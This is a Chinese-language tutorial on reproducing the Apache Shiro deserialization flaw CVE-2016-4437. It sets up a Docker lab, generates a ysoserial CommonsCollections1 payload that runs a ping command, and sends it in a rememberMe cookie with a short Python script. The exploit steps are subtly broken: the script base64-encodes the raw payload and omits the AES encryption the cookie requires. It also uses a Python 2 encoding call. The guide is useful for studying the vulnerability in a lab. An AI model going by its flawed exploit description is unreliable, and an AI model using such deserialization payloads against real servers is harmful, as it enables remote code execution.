漏洞复现-CVE-2016-4437-Shiro反序列化

漏洞复现-CVE-2016-4437-Shiro反序列化的完整攻略

简介

Apache Shiro是一个Java安全框架，提供了身份验证、授权、加密和会话管理等功能。CVE-2016-4437是Shiro框架中的一个反序列化漏洞，攻击者可以利用该漏洞在目标系统上执行任意代码。

漏洞复现

环境搭建

首先需要搭建一个漏洞环境，可以使用Shiro的一个漏洞环境搭建工具：https://github.com/mogwailabs/shiro-vuln-env。

使用以下命令克隆该仓库：

git clone https://github.com/mogwailabs/shiro-vuln-env.git

进入shiro-vuln-env目录，使用以下命令启动漏洞环境：

docker-compose up -d

漏洞利用

示例1：使用ysoserial生成payload

使用ysoserial生成一个payload，该payload可以触发Shiro反序列化漏洞。使用以下命令生成payload：

java -jar ysoserial.jar CommonsCollections1 'ping -c 1 127.0.0.1' > payload.bin

该命令将生成一个payload文件payload.bin，其中包含了一个ping命令。

示例2：使用Shiro反序列化漏洞执行payload

使用以下Python脚本利用Shiro反序列化漏洞执行payload：

import requests

url = 'http://localhost:8080/login'
payload = open('payload.bin', 'rb').read()

headers = {
    'Cookie': 'rememberMe=' + payload.encode('base64')
}

r = requests.get(url, headers=headers)

该脚本将发送一个GET请求到http://localhost:8080/login，并在请求头中设置了一个Cookie，该Cookie的值为生成的payload的base64编码。服务器在反序列化该Cookie时，将执行其中的ping命令。

总结

CVE-2016-4437是Shiro框架中的一个反序列化漏洞，攻击者可以利用该漏洞在目标系统上执行任意代码。漏洞利用过程中，需要先搭建一个漏洞环境，然后使用ysoserial生成一个payload，最后使用Shiro反序列化漏洞执行payload。